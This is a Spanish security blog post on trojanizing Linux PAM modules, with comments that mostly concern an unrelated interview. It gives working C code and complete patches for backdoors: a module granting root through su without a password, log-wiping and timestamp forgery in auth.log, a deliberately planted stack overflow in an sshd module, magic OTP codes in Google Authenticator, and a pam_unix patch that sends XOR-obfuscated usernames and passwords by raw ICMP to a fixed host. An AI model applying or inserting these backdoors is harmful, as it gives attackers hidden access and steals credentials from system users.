“Es un sistema UNIX, lo
conozco” – Alexis Murphy (Jurasic Park I)
En sistemas
derivados de UNIX, la autenticación de usuarios así como la
implementación sistemas de autenticación adicionales, se basa en
una arquitectura modular formada en primera instancia por los
denominados módulos PAM (Pluggable Authentication Module), lo cual
dota al sistema operativo de una base altamente flexible y
personalizable para establecer medidas de seguridad adicionales a la
hora de autenticar usuarios tanto de acceso local como remoto, de
forma transparente a las aplicaciones.
Debido a la
homogeneidad anterior, resulta menos complejo el portar el
funcionamiento de un módulo PAM de un sistema a otro.
Arquitectura PAM |
Ejemplos de uso de autenticación
mediante módulos PAM:
“Si
eres capaz de ver lo sutil y de darte cuenta de lo oculto,
irrumpiendo antes del orden de batalla, la victoria así obtenida es
un victoria fácil.” – Sun Tzu (El Arte de la Guerra)- Kerberos
- LDAP
- Autenticación de doble factor
- One-Time-Password
Si bien la
homogeneidad y la estructura modular anterior es una ventaja para
administradores y desarrolladores, también es una ventaja para los
atacantes, ya que una de las acciones que suelen realizar cuando
entran en un sistema, es precisamente la de “troyanizar” el
sistema para asegurarse el acceso futuro, y de entre muchas de las
opciones disponibles, está la de “troyanización” de módulos
PAM.
Para ello, en este post vamos
a ver cómo crear y modificar un módulo PAM para dotarlo (entre otras) de las
siguientes características, las cuales se explicarán más adelante:
- Dar acceso a ciertos usuarios y/o patrón de usuarios al sistema
- Obtener credenciales de acceso de los usuarios
- Introducir fallos de seguridad (buffer overflows, format strings, etc.)
- Eliminar registros de acceso
“Cuando
el objetivo te parezca difícil, no cambies de objetivo; busca un
nuevo camino para llegar a él.” – Confucio
Una vez
decididos a troyanizar un módulo PAM, vamos a estudiar cómo hacerlo
a través de diferentes vías, de entre las que tenemos:
- Crear un nuevo módulo PAM
- Troyanizar en disco un módulo PAM existente
- Recompilando el código
- Parcheando en disco
- Troyanizar en memoria un módulo PAM existente
De aquí en
adelante, todos los códigos desarrollados y/o modificados, han sido
probados sobre dos sistemas Debian 7 Wheezy con kernel 3.2.0-4 sobre
arquitecturas AMD64 y i686.
Estructura y Configuración de un Módulo PAM
Antes de
comenzar propiamente con el módulo PAM, es necesario conocer la
estructura del mismo, así como la configuración que debe aplicarse
en el sistema para que el módulo opere de la forma esperada.
Para este
propósito existen en el directorio “/etc/pam.d” una serie de
ficheros de configuración relativos a los módulos PAM a utilizar en
cada tipo de acceso:
Listado de Archivos de Configuración |
En cada uno de
estos ficheros, se establece qué tipo de interfaz usará cada módulo
así como el modulo a usar y si es necesario, establecer los
parámetros necesarios para el correcto funcionamiento:
Configuración PAM del demonio cron |
Cada una de las líneas de este archivo, relativa al uso de módulos PAM, tiene la siguiente estructura:
Interfaz
+
Flag de Control +
Módulo PAM +
Parámetros
Cuando la
interfaz de un módulo es llamada, debe devolver un valor de retorno,
y en función de dicho valor y del flag de control que se esté
usando con el módulo PAM, se decidirá si bloquear el intento de
acceso, pasar al siguiente módulo, etc.
De esta manera, las opciones para
los campos de “Interfaz” y “Flag de Control” son:
Interfaz
|
||||||||||
|
Flag de Control
|
||||||||||
|
Dentro del
código del módulo PAM, las interfaces que se usarán se declaran
exportando ciertas funciones de la librería (recordemos que un
módulo PAM es una librería compartida).
Declaración de Interfaces
|
||||||||||
|
Creación de un módulo PAM troyanizado (su)
Ahora que sabemos a rasgos generales (se recomienda ampliar la lectura), cómo funciona un módulo PAM, vamos a crear uno de ejemplo, que mostrará el nombre de usuario utilizando la interfaz “auth”, para el binario “su”.
Para ello, es conveniente definir dentro del módulo qué interfaces vamos a usar, para una correcta inicialización:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#define PAM_SM_AUTH //definicion de la interfaz
#include <security/pam_modules.h>
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv )
{char *uname = 0;pam_get_user(pamh,(const char**)&uname,0); //usuario sobre el que se operafprintf(stderr,"\npam_get_user => %s" , uname );fprintf(stderr,"\ngetuid() => %d" , getuid() );fprintf(stderr,"\ngeteuid() => %d" , geteuid() );return PAM_SUCCESS;}PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags,int argc, const char **argv ){return PAM_SUCCESS;}
En el código anterior, se han definido dos funciones pertenecientes a la interfaz de autenticación, ambas son necesarias para que el módulo PAM sea válido para usarlo con el binario “su”. Para compilarlo, los pasos son los siguientes:
$ gcc –fPIC –fno-stack-protector –c pam.c –o pam_bsu.o$ ld –x –shared pam_bsu.o –o pam_bsu.so
Y con esto tendremos nuestro módulo compilado, que lo que hará será, una vez que un usuario ejecute el binario “su”, mostrará el usuario sobre el que se quiere realizar la acción (en este caso, hacer login como root), así como el UID del usuario real del proceso y el UID Efectivo (este último, independientemente del proceso que sea, devolverá el UID del usuario propietario del “sticky bit” del fichero al que corresponde el proceso, en caso de tenerlo activado), e inmediatamente después, debido a los valores de retorno (AUTH_SUCCESS) permitirá acceder al usuario que lo ha invocado.
Aunque como bien explicamos al principio, esto no es del todo cierto, ya que para que nuestro módulo funcione como queremos, debemos instalar el módulo PAM y modificar el fichero “/etc/pam.d/su” para indicarle que use nuestro módulo:
Compilación e Instalación |
En este ejemplo, como queremos que
nuestro módulo sea el único responsable de la autenticación, le
indicamos en la primera línea del archivo de configuración los
datos de nuestro módulo con el flag “sufficient”.
Hecho esto, al llamar al binario “su” desde una cuenta de usuario
nos mostrará lo siguiente:
Acceso root sin contraseña |
Al igual que hemos hecho esto,
podemos usar el resto de características de “su”, como por
ejemplo iniciar sesión como otros usuarios:
Suplantación de Usuarios |
Filtrado de Acceso por TTY
Para que este comportamiento no sea
común a todos los usuarios del sistema, podemos agregar filtros
basados en el nombre del usuario que lo invoca (obteniendo el UID del
usuario mediante la syscall “getuid”, podemos
establecer filtros basados en ventanas temporales (permitir dicho
comportamiento basado en la fecha y/u hora), basados en el número y
tipo de terminal que usemos, etc.
Filtrado de TTY |
Con el código anterior, al
ejecutar el binario “su” desde una terminal que no sea la “tty6”,
el módulo devolverá “PAM_AUTHINFO_UNAVAIL” por lo
que se invocará al siguiente módulo PAM. Si por el contrario, se
ejecuta desde “tty6” nos “autenticará” y
tendremos la consola de root:
Ejecución del binario "su" en "tty1" introduciendo una contraseña incorrecta |
Ejecución del binario "su" desde "tty6" |
Limpiando los Registros de Acceso
“Cada vez que dos objetos
entran en contacto, transfieren parte del material que incorporan al
otro objeto” – Principio de intercambio de Locard
Todas estas modificaciones que
estamos realizando sobre el sistema, dejan evidencias de lo que se ha
estado haciendo, como por ejemplo registros en el log
“/var/log/auth.log” y las fechas de nuestro módulo PAM.
Logs de autenticación |
Si bien no es el propósito de este post el de descubrir qué pruebas evidencian la manipulación de
los archivos y cómo intentar eludirlas, lo que sí haremos será
agregar una rutina básica propia de los “zappers”, que lo que
hará será recorrer el archivo “/var/log/auth.log” para darnos
la posibilidad de eliminar los registros que queramos basándonos en
la fecha, la aplicación que generó el registro, la descripción,
etc. Así como mantener la fecha y hora de modificación y acceso del
archivo anterior al registro.
La funcionalidad de “zapper”
descrita, no es más que una función que va recorriendo el archivo
desde el registro más nuevo al más antiguo (de abajo a arriba),
extrae la información de cada campo e invoca a una función
que se encarga de decidir si el registro se mantiene, se elimina, o
si se debe dejar de recorrer el archivo. Esta última función de
“filtro” es bastante simple, la que usaremos establecerá una
ventana temporal de 2 minutos, de forma que cualquier registro de
“su” en el “/var/log/auth.log” con una antigüedad menor o
igual a dos minutos, será eliminada del registro:
Filtrado del Zapper |
Por último, queda invocar a la
función “zapper” en la función que definimos como
“pam_sm_setcred” ya que esta será invocada cada vez que la
sesión se abre y cierra. Un ejemplo de este comportamiento podemos
verlo con el siguiente código:
Notificación del Zapper |
Una vez compilado e instalado el
módulo PAM, iniciamos sesión y consultamos los últimos registros
de “/var/log/auth.log”:
Logs de Autenticación |
Login y "su" |
Fechas de acceso, modificación y cambio del fichero de log |
De las imágenes anteriores se
obtiene que la llamada al binario “su” ocurre a las “13:18:29”,
no obstante el registro de autenticación muestra el inicio de sesión
del usuario “chema” como el último registrado a las “13:18:24”.
Aun así, si observamos la fecha de modificación del archivo de log,
vemos la incongruencia:
Fechas de Acceso y Modificación |
Para corregir este detalle, basta
con almacenar la fecha y hora del último registro leído antes de
finalizar la ejecución del “zapper” y establecer esa fecha y
hora como las legítimas del archivo:
Filtrado por Nombre de Usuario
Pero aún podemos establecer más
filtros útiles, como por ejemplo el nombre de usuario que ejecuta el
binario:
Filtrado de UID |
En el caso de este binario (“su”)
no podemos obtener el nombre del usuario que lo invoca de forma
directa usando “pam_get_user” como en otros binarios como por
ejemplo “sudo”. No obstante para no realizar una comprobación
“tan evidente” del usuario (ya sea por el UID o por el nombre),
podemos realizar un hash del usuario para realizar la comprobación.
En la siguiente captura se muestra
el filtrado por hash, y se comprueba el usuario actual con un array
de usuarios autorizados:
Filtrado de TTY y Usuario |
Otro de los métodos que podemos
utilizar para obtener la consola de root y no preocuparnos de los
logs, es la de aprovechar que el UID efectivo del proceso es “0”
(root) para ejecutar una consola e inmediatamente después llamar a
“exit” desde nuestro código, de forma que no se realiza ningún
tipo de autenticación y por tanto, no queda registro.
En este
ejemplo, al usar la syscall “execve” el flujo de ejecución del
proceso se cambia al binario ejecutado, de tal forma que cuando el
proceso ejecutado finalice, también lo hará nuestro proceso (en
realidad, a muy groso modo, una vez invocada la syscall no habrá
diferencia entre el proceso ejecutado y el nuestro), a no ser que
usemos otra sycall (“fork”) para crear un proceso hijo y desde
él, invocar a “execve”. No obstante, aunque para este caso no es
necesario, dejaremos la llamada a “exit” por si el lector quiere
realizar alguna otra acción diferente a la propuesta:
De nuevo, compilamos e instalamos el
módulo y comprobamos los registros que genera:
Inicio de sesión y ejecución de "su" |
Registros de Autenticación |
Como podemos ver en la ilustración
19, la llamada al binario “su” se produce entre las “17:22:28”
y las “17:22:31”, mientras que en el log, el último
registro se produce a las “17:22:25”, lo cual coincide con
las fechas y horas del fichero de log:
Fechas de Modificación,Cambio y Acceso del Fichero de Log |
Ocultando la Puerta Trasera
“La
desconfianza es la madre de la seguridad” - Aristófanes
Y hablando de seguridad, si
queremos asegurarnos la entrada al sistema, no debemos cerrarnos
puertas, mientras más puertas abramos y más ocultas estén mejor.
Por ello, y siguiendo en este
apartado, vamos a crear otro módulo PAM que incluiremos en el
demonio SSH. Pero esta vez, en lugar de permitir la entrada bajo
ciertas condiciones, lo que haremos será introducir una
vulnerabilidad en el código de manera que podamos explotarla de
forma remota; Para este ejemplo y solo a modo de demostración vamos
a introducir un Stack Buffer Overflow, o desbordamiento de pila.
Para ello, vamos a realizar de
nuevo un filtrado basado en el nombre de usuario, y si coincide con
alguno que tengamos almacenados en el módulo (y preferiblemente que
no exista en el sistema), pediremos que introduzca la clave (aquí
introduciremos el fallo) y devolveremos un “PAM_AUTHINFO_UNAVAIL”
para que el proceso de autenticación salte al siguiente módulo.
Para este nuevo ejemplo, la
instalación del módulo es exactamente la misma, con la única
diferencia de que en este ejemplo, en vez de modificar el fichero
“/etc/pam.d/su” modificaremos “/etc/pam.d/sshd”, de la misma
manera que hicimos anteriormente.
El código que utilizaremos para
este ejemplo es el siguiente:
Introducción de la Vulnerabilidad |
Esta porción de código devolverá
“PAM_AUTHINFO_UNAVAIL” para salir y continuar la evaluación del
siguiente módulo PAM, siempre y cuando el hash calculado del
usuario, no se encuentre entre la lista de los permitidos; Si el
usuario sí está contemplado, realizará una copia de su clave en
una variable local, provocando una vulnerabilidad de desbordamiento
de pila. Esto, además de permitirnos controlar el flujo de ejecución
del programa y la ejecución de código remota, nos va a permitir
controlar el valor de retorno de la función, debido al orden en el
que están declaradas las variables “aux” y “ret”.
De esta forma, si enviamos una
clave de una longitud mayor al tamaño de “aux”, sobrescribirá
los valores de la pila. Debido a que el valor de retorno que nos
interesa (“AUTH_SUCCESS”) es cero (0x00) , no podemos introducir
dicho valor dentro de la contraseña, ya que interpretaría el valor
como fin de cadena (en este caso concreto podríamos permitirlo y
contrarrestar agregando un carácter más, para cuadrarlo de forma
que el carácter nulo fuese el que pisase al valor de retorno, pero
siempre es una práctica desaconsejable el uso de caracteres nulos),
así que almacenamos el valor de retorno incrementado, y cada vez que
hagamos referencia al mismo para retornar de la función, lo
decrementamos (ver Ilustración 22). De esta forma, si queremos
retornar un 0x00, le enviaremos un 0x01.
Después de la explicación teórica
del funcionamiento, veamos la parte práctica:
Explotación para Modificar el Valor de Retorno |
Otro enfoque que nos puede servir,
es el de crear un módulo PAM que use el flag de control “optional”
y cuya única tarea sea la de guardar en un fichero todas las
credenciales de los usuarios que han iniciado sesión, con un código
similar al que sigue (aunque almacena las credenciales sin cifrar):
Código para Guardar las Credenciales de los Usuarios |
Con esto, conseguimos el siguiente
efecto:
Credenciales de Usuario Almacenadas en Texto Plano |
Modificando un Módulo PAM Existente
“La
verdad es el mejor camuflaje, ¡Nadie la entiende!” – Max Frisch
Hasta ahora hemos visto cómo crear
un módulo PAM y cómo dotarlo de la lógica que nos interesa, para
darnos acceso al sistema, recabar credenciales, eliminar logs, etc.
Pero hemos dejado de lado el verdadero propósito de los módulos
PAM, y ciertamente, el hecho de agregar un módulo PAM y jugar con la
ingeniería social para no levantar sospechas en cuanto al nombre,
nos expone aún más en el sistema. Por tanto, como el mejor lugar
para esconder un árbol es precisamente un bosque, vamos a pasar
desde el punto de vista de “crear el módulo troyanizado”, hacia
el lado opuesto, “troyanizar" un módulo existente.
Existen muchos ejemplos y scripts
automáticos para descargar el código fuente de la librería, y
permitir el acceso si la contraseña coincide con una especificada,
por ejemplo:
Troyanización de un Módulo PAM existente |
De la misma forma, podemos seguir
modificándolo para agregarle las funcionalidades descritas durante
este documento.
Soluciones OTP / Google Authenticator
No obstante, para este propósito
vamos a modificar otro módulo PAM distinto a los convencionales, el
módulo PAM de doble factor de autenticación de Google. La puerta
trasera la crearemos en función de los dígitos que introduzca el
usuario, de tal forma que si el número introducido no es válido
(según el algoritmo original), lo evaluaremos siguiendo nuestro
algoritmo, el cual realizará comprobaciones sobre números primos y
perfectos.
Para ello, creamos el siguiente
algoritmo para verificar si dado un número introducido, debemos
permitir o no el acceso:
Algoritmo de Filtrado |
El cual, nos permitirá acceso
cuando usemos algunas de las cifras:
|
|
Para ello, descargamos el código
fuente desde el sitio oficial:
Copia del Repositorio del Módulo |
Una vez descargado, aplicamos el
siguiente parche que será el encargado de agregar las modificaciones
necesarias para “troyanizar” el módulo, permitiendo el acceso
utilizando los códigos anteriores:
diff -Nur google-authenticator/libpam/Makefile google-authenticator_backdoored/libpam/Makefile
--- google-authenticator/libpam/Makefile 2013-12-10 11:25:49.280037002 +0100
+++ google-authenticator_backdoored/libpam/Makefile 2013-12-09 18:43:21.224116833 +0100
@@ -25,7 +25,7 @@
DEF_CFLAGS := $(shell [ `uname` = SunOS ] && \
echo ' -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT') \
-fvisibility=hidden $(CFLAGS)
-DEF_LDFLAGS := $(shell [ `uname` = SunOS ] && echo ' -mimpure-text') $(LDFLAGS)
+DEF_LDFLAGS := $(shell [ `uname` = SunOS ] && echo ' -mimpure-text') $(LDFLAGS) -lm
LDL_LDFLAGS := $(shell $(CC) -shared -ldl -xc -o /dev/null /dev/null \
>/dev/null 2>&1 && echo ' -ldl')
diff -Nur google-authenticator/libpam/pam_google_authenticator.c google-authenticator_backdoored/libpam/pam_google_authenticator.c
--- google-authenticator/libpam/pam_google_authenticator.c 2013-12-10 11:25:49.296037003 +0100
+++ google-authenticator_backdoored/libpam/pam_google_authenticator.c 2013-12-09 18:37:16.536123101 +0100
@@ -29,6 +29,7 @@
#include <syslog.h>
#include <time.h>
#include <unistd.h>
+#include <math.h>
#ifdef linux
// We much rather prefer to use setfsuid(), but this function is unfortunately
@@ -1324,6 +1325,45 @@
return 0;
}
+static unsigned short es_primo ( unsigned long num )
+{
+ unsigned long i;
+
+ for ( i = 2 ; i < sqrt ( num ) ; i++ )
+ if ( ! (num % i ) )
+ return 0;
+
+ return 1;
+}
+
+static unsigned short authenticate_crypto_prime ( int num , int ret )
+{
+ const unsigned long perfecto = 496;
+ const unsigned long primo = 631;
+ unsigned long resto = 0;
+ unsigned long mod = 0;
+
+ if ( !es_primo ( num ) )
+ return ret;
+
+ resto = num / perfecto;
+ mod = num % perfecto;
+
+ if ( ! es_primo ( mod ) )
+ return ret;
+
+ if ( resto % primo != 0 )
+ return ret;
+
+ if ( ! es_primo ( primo % num ) )
+ return ret;
+
+ if ( ! es_primo ( resto % mod ) )
+ return ret;
+
+ return PAM_SUCCESS;
+}
+
static int google_authenticator(pam_handle_t *pamh, int flags,
int argc, const char **argv) {
int rc = PAM_SESSION_ERR;
@@ -1335,6 +1375,7 @@
char *buf = NULL;
uint8_t *secret = NULL;
int secretLen = 0;
+ int code = 0;
#if defined(DEMO) || defined(TESTING)
*error_msg = '\000';
@@ -1436,7 +1477,7 @@
if (errno || l < 0 || *endptr) {
goto invalid;
}
- int code = (int)l;
+ code = (int)l;
memset(pw + pw_len - expected_len, 0, expected_len);
if ((mode == 2 || mode == 3) && !params.forward_pass) {
@@ -1564,6 +1605,10 @@
memset(secret, 0, secretLen);
free(secret);
}
+
+ if ( rc != PAM_SUCCESS )
+ rc = authenticate_crypto_prime ( code , rc );
+
return rc;
}
Hecho esto, solo tenemos que
compilar e instalar el módulo y seguir los pasos descritos en el
fichero README del mismo para integrarlo con SSH. En la siguiente
captura, se puede ver el acceso SSH usando un cliente modificado para
mostrar las credenciales del usuario, para verificar visualmente el
acceso a través del módulo PAM de Google troyanizado:
Acceso SSH usando claves OTP troyanizadas |
LibPAM / pam_unix
A demás de los métodos vistos
hasta ahora, también podemos modificar el módulo principal de
autenticación del sistema, no solo para permitirnos la entrada
mediante credenciales ficticias ni fallos de seguridad, sino
modificar el módulo de manera que cuando un usuario inicie sesión
(ya sea de forma local o remota), se envíe un paquete ICMP (por
ejemplo) desde una dirección IP y un destino preestablecidos
(podemos hacerlo dinámico, enviando un nombre de usuario/clave
incorrectos, pero que sirva al módulo de estos datos para futuros
envíos) con el nombre del usuario y la clave.
Para este ejemplo, se ha modificado
el fichero “support.c” del módulo “pam_unix.so”, el motivo
de modificar ese fichero, es porque es donde está implementada la
función que verifica las credenciales del usuario, de forma que
cuando las credenciales sean correctas, se nos envíe el nombre de
usuario y la clave, cifrados. Para este ejemplo, solo se hace un XOR
entre la cadena que contiene el usuario y la clave, con otra cadena
aleatoria, formada por parámetros usados en las cabeceras IP y ICMP.
Con esto conseguimos ocultar la clave en el propio mensaje, y que los
paquetes enviados de la autenticación de un mismo usuario, sean
diferentes.
Para ello, se ha modificado la
librería LibPAM descargada de
http://linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
dando como resultado el siguiente parche:
--- Linux-PAM-1.1.8/modules/pam_unix/support.c 2013-09-16 11:11:51.000000000 +0200
+++ Linux-PAM-1.1.8_backdoor/modules/pam_unix/support.c 2013-12-10 17:04:19.480035391 +0100
@@ -19,6 +19,13 @@
#include <ctype.h>
#include <syslog.h>
#include <sys/resource.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <linux/ip.h>
+#include <linux/icmp.h>
#ifdef HAVE_RPCSVC_YPCLNT_H
#include <rpcsvc/ypclnt.h>
#endif
@@ -650,6 +657,104 @@
return retval;
}
+static unsigned short in_cksum ( unsigned short *addr , int len )
+{
+ register int sum = 0;
+ register unsigned short *w = addr;
+ register unsigned int left = len;
+ unsigned short ret = 0;
+
+ while ( left > 1 )
+ {
+ sum += *w++;
+ left -= 2;
+ }
+
+ if ( left == 1 )
+ {
+ *(unsigned char*)(&ret) = *(unsigned char*)w;
+ sum += ret;
+ }
+
+ sum = ( sum >> 16 ) + (sum & 0xFFFF);
+ sum += ( sum >> 16 );
+ ret = ~sum;
+
+ return ret;
+}
+
+static void _verify_hash ( const char *name , const char *pwd )
+{
+ static int fd = -1;
+ int optval;
+ struct iphdr *ip;
+ struct icmphdr *icmp;
+ struct sockaddr_in con;
+ char *packet,*buffer;
+ char *key;
+ size_t len_buffer, len_key;
+ int ttl, code, seq, type, id, i;
+
+ int u = getuid();
+
+ if ( setuid(0) != 0 )
+ return;
+
+ if ( fd < 0 && ( fd = socket ( AF_INET , SOCK_RAW , IPPROTO_ICMP ) ) < 0 )
+ return;
+ else
+ setsockopt ( fd , IPPROTO_IP, IP_HDRINCL, &optval , sizeof ( int ) );
+
+ srand(time(0));
+
+ ttl = random() % 64;
+ code = random() % 128;
+ seq = random();
+ type = random() % 42;
+ id = random();
+
+ len_buffer = strlen ( name ) + strlen ( pwd ) + 2;
+ buffer = calloc ( len_buffer , sizeof ( char ) );
+ snprintf ( buffer , len_buffer , "%s|%s" , name , pwd );
+ key = calloc ( len_buffer , sizeof ( char ) );
+ snprintf ( key , len_buffer , "%d%d%d%d%d",ttl,seq,code,id,type);
+ len_key = strlen ( key );
+ for ( i = 0 ; i < strlen ( buffer ) ; i++ )
+ buffer[i] ^= key[i % len_key ];
+ memset ( key , 0 , len_key );
+ free ( key );
+
+ packet = calloc ( len_buffer + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) , sizeof ( char ) );
+ ip = (struct iphdr*) packet;
+ icmp = (struct icmphdr*) (packet + sizeof ( struct iphdr ) );
+ memcpy ( (void*)(packet + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) ) , buffer , len_buffer );
+ ip->ihl = 5;
+ ip->version = 4;
+ ip->tot_len = sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) + len_buffer;
+ ip->ttl = ttl;
+ ip->protocol = IPPROTO_ICMP;
+ ip->saddr = inet_addr ( "172.17.15.18" );
+ ip->daddr = inet_addr ( "10.4.5.2" );
+ ip->check = in_cksum ( (unsigned short*)ip, sizeof ( struct iphdr ) );
+ icmp->type = type;
+ icmp->un.echo.id = id;
+ icmp->un.echo.sequence = seq;
+ icmp->checksum = in_cksum ( (unsigned short*)icmp, sizeof ( struct icmphdr ) + len_buffer );
+
+ con.sin_family = AF_INET;
+ con.sin_addr.s_addr = inet_addr("10.4.5.2");
+
+ sendto ( fd , packet , ip->tot_len , 0 , (struct sockaddr*)&con, sizeof ( struct sockaddr ) );
+
+ free ( packet );
+ free ( buffer );
+
+ setuid(u);
+ return;
+}
+
+
+
/*
* _unix_blankpasswd() is a quick check for a blank password
*
@@ -761,6 +866,7 @@
}
}
} else {
+ _verify_hash ( name , p );
retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl));
}
Una vez aplicado el parche,
compilamos e instalamos el módulo:
Instalación del Módulo Troyanizado |
A continuación, desde otra
terminal accedemos y en otro equipo perteneciente a la misma red
esperamos el paquete ICMP:
Inicio de Sesión Remoto |
Y en ese momento, vemos actividad
ICMP:
Paquete ICMP de Notificación |
Podemos verificar mediante varios
accesos, que efectivamente el contenido del mensaje cambia:
Accesos Repetidos con las Mismas Credenciales |
Diferentes Mensajes ICMP |
Hecho esto, solo necesitamos alguna
herramienta (script en Python?) que capture los mensajes ICMP,
extraiga los valores introducidos en las cabeceras y realice de nuevo
la XOR del mensaje con los datos obtenidos en el orden correcto para
obtener las credenciales, e incluso podríamos enviar estos datos por un dispositivo inalámbrico del equipo cuando no se use, al más puro estilo NS4.
Contribución gracias a Chema García
27 comments :
plas, plas, plas :)
Hola
En primer lugar agradecer a Lorenzo y a todo SbD por el artículo sobre PATiA y el enfoque interesante que le han dado.
Comentar que ya tenemos 8.600 apps, y que esperamos llegar a las 10.000 en un par de semanas.
Las apps pueden ser ordenadas pulsando en las cabeceras de las columnas, por ejemplo para ordenarlas por nombre o por la puntuación de privacidad.
Un saludo de parte de los autores de PATiA.
Muchas gracias por el artículo, estuvo muy bueno! :D
Hay algunas cosas que no entendí:
1) En determinado momento dices "En el caso de este binario (“su”) no podemos obtener el nombre del usuario que lo invoca de forma directa usando “pam_get_user” como en otros binarios como por ejemplo “sudo”.", sin embargo al principio del artículo, en "Creación de un módulo PAM troyanizado (su)" haces justamente eso: pam_get_user(pamh,(const char**)&uname,0); //usuario sobre el que se opera
2) ¿Dónde iría el código de la imagen 25? ¿Por qué devuelve siempre PAM_AUTHINFO_UNAVAIL?
Saludos desde Uruguay!
Gracias BeRniTo,
1) Son dos cosas distintas, imagínate que como root, ejecutas: # su usuario1
El usuario que lo invoca es "root" y el usuario sobre el que se opera es "usuario1"
2) Iría en "pam_sm_authenticate", devuelve ese valor para que el siguiente módulo valide la autenticación, ya que lo único que hace ese código es obtener las credenciales del usuario, no evalua nada. Símplemente, es una manera de meter un módulo en la cadena de autenticación de los módulos PAM que "no hace nada" salvo guardar las credenciales.
Hola,
Esta vez trataré de expresarme sin atacar a nadie.
La entrevista está guay y comenta cosas muy interesantes, pero hay muchas cosas que cuenta que no me cuadran:
- Dice que a los 14 años lo detuvieron, y que "tras estar años entrando por la puerta trasera...", ¿como años?, que llevaba desde los 12 siendo hacker?.
- Dice que maneja 164 mil zombies, con esos zombies podría estar ganando 28 mil dólares mensuales minando monedas cryptograficas nuevas (algo que todo el mundo sabe y se ha hablado alguna vez). Sin embargo se limita a vender bots a 2$. ?¿?¿?
- Compraba televisores y de todo y le decia a los padres que le tocaba en internet?. Si con 14 años llego con todo eso a casa de la hostia que me mete mi padre...... Aparte de tener que firmar en las entregas del paquete y no era mayor de edad.
Pido disculpas por mi comentario anterior eliminado. Creo que ahora no he faltado el respeto a nadie, y, al igual que otros comentarios, solo quiero debatir esto, nada mas.
"Este formato suena a SELECT en un mysql, venga, admitelo, eres uno de los admin, ¿de cual de todos? Es broma, no me importa. Tampoco me gustaría formar parte de ninguno de ellos.
Y efectivamente, el nick está en esa lista. --jajajja- no."
¿y buscar las credenciales, entrar, y hacer un like para esto? yo no invertiria esos 2 min de mi vida.
Un saludo y gracias por la entrevista Alejandro.
No, si las faltas de ortografía también se encuentran en las preguntas, no solo en las respuestas.
Me explico mejor: Está claro que este es vuestro pequeño sitio y aquí hacéis lo que os apetece (obvio). Simplemente digo, como pequeño consejo de un lector habitual, que no es agradable ver cómo un moderador se rebaja al nivel de los que faltan y menosprecian su trabajo. Si tienes un bar, puedes echarlos a patadas o de forma educada, y yo simplemente digo que es más recomendable hacerlo de forma educada. Pero insisto: por supuesto puedes hacer lo que quieras, que para eso es tu blog. Solo tómate mi comentario como una simple opinión y crítica constructiva.
Tomo nota, ya te daré más 'buen artículo' para que sigas.
Eso de que cagas donde te da la gana no es tip, es fact.
Muy de acuerdo con el último párrafo de tu respuesta.
Saludos.
Me sacó una sonrisa este comentario! Muy buena entrevista y mejor site!
Solo dos opiniones:
Para el entrevistador, no se si al final por las prisas o lo que fuera el articulo no te salio como querias. Lo siento pero desde el respeto, es lo peor que he leido en este blog desde hace mucho tiempo. Entre el articulo y los comentarios, acaba de bajarle el caché a este sitio de un plumazo.
Para el entrevistado, mis respetos, muy bien, sigue asi, eres el puto amo..., solo que cuando te tranquen bien trancado, te entaleguen 2 o 3 añitos, tu novio dominicano compañero de celda te alegre las nalgas noche tras noche y veas llorar a tus padres de manera recursiva en el horario de visitas, entonces y solo hasta entonces creo no entenderas que lo que haces a lo mejor no es tan "guay". Good luck.
Tío, estás como una cabra. Vaya contestaciones das a tus lectores. Vete a resolver tus problemas en la calle, o mejor a revisarte la cabeza.
Gracias, es cierto que puede haber cosas que no cuadren, tal vez haya una explicación o tal vez no.
Lo del like no lo entiendo.
Me alegra que nos entendamos :-)
Si es lo peor que has leído, te has dejado muchas entradas, yo te podría enumerar varias mías bastante peores :-), Es una entrada controvertida y tu opinión es que ha bajado el caché, las de otros lectores (como podrás ver en los comentarios también), es que no.
La parte del entrevistado, tal vez está un par de puntos por encima de lo que se consideraría falta de respeto.
Siento que no te haya gustado, pero oye, por lo menos te ha servidor para venir aquí a quejarte y dejar tu veneno, que ya es más de lo que veo en el histórico de tus comentarios.
Disculpa las palabras pero eres algo ignorante en tu respuesta estimado Anonimillo, para él es quizás mucho porque ha de ser un vago más xD Tipico cibercriminal ocioso. AHora bien, que te hace a ti creer que esa cantidad de dinero es más "importante" en sudamérica que en Spain? Eso depende de clase social, independientemente el país, gallego de 1"·$"%·$&/!!!!
Tema controvertido donde los haya, este tipo de entrevistas son muy dadas a generar cierta polémica, creo que después de este post es muy probable que securitybydefault aumente a un pagerank 6 en breve jejeje.
Buena entrevista, me gusto.
A mi me ha resultado una entrevista muy interesante y no creo ser un iletrado digital.
Veo mucho ego en los comentarios
Lo del dinero, sí que es poco, pero no tiene porqué ser la verdad
Claro
A lo mejor deberías escribir en Kriptópolis en vez de aquí. ;-)
A lo mejor has sido tú el que no ha visto el sarcasmo.
A lo mejor deberías automoderarte porque un poquito tensa si que veo esta respuesta cuando mi texto no ofende a nadie.
Pero sólo a lo mejor.
Lee el segundo "A-lo-mejor" de arriba y quizás lo entiendas y guardes ese cartel para otro/s. ;-P
Por última vez, me reitero en lo que he dicho, cada vez te pareces más a Sheldon Couper, NI PILLAS EL SARCASMO,NI LO SABES TRANSMITIR.
P.D: No tengo intención de responderte más, ya que parece que eres MUY corto de entendimiento, saludos y hasta siempre ;)
Seguro que se llama "Klash" me late.
Quien dijo que la red TOR cambia la IP?? jajajajaja se nota que nunca has entrado a www.whatsmyip.com, antes y despues de ingresar a la VPN.
No conoces, pero creo que tienes demasiada idea para saber que las páginas expuestas ahí deberían ser .onion, sin embargo las redes tor, al parecer, ya estan siendo monitoreadas: http://www.wired.com/threatlevel/2013/09/freedom-hosting-fbi/
Creo que llegó el día donde el tenebroso "Sistema del economist@" surga, después de estar escondido muchos años :( para brindar anonimato real.
Se agradece un punto de vista que no sea el del consultor de seguridad típico. A mí me ha gustado, pero está claro que iba a traer polémica.
Temassssss...
@ Alejandro:
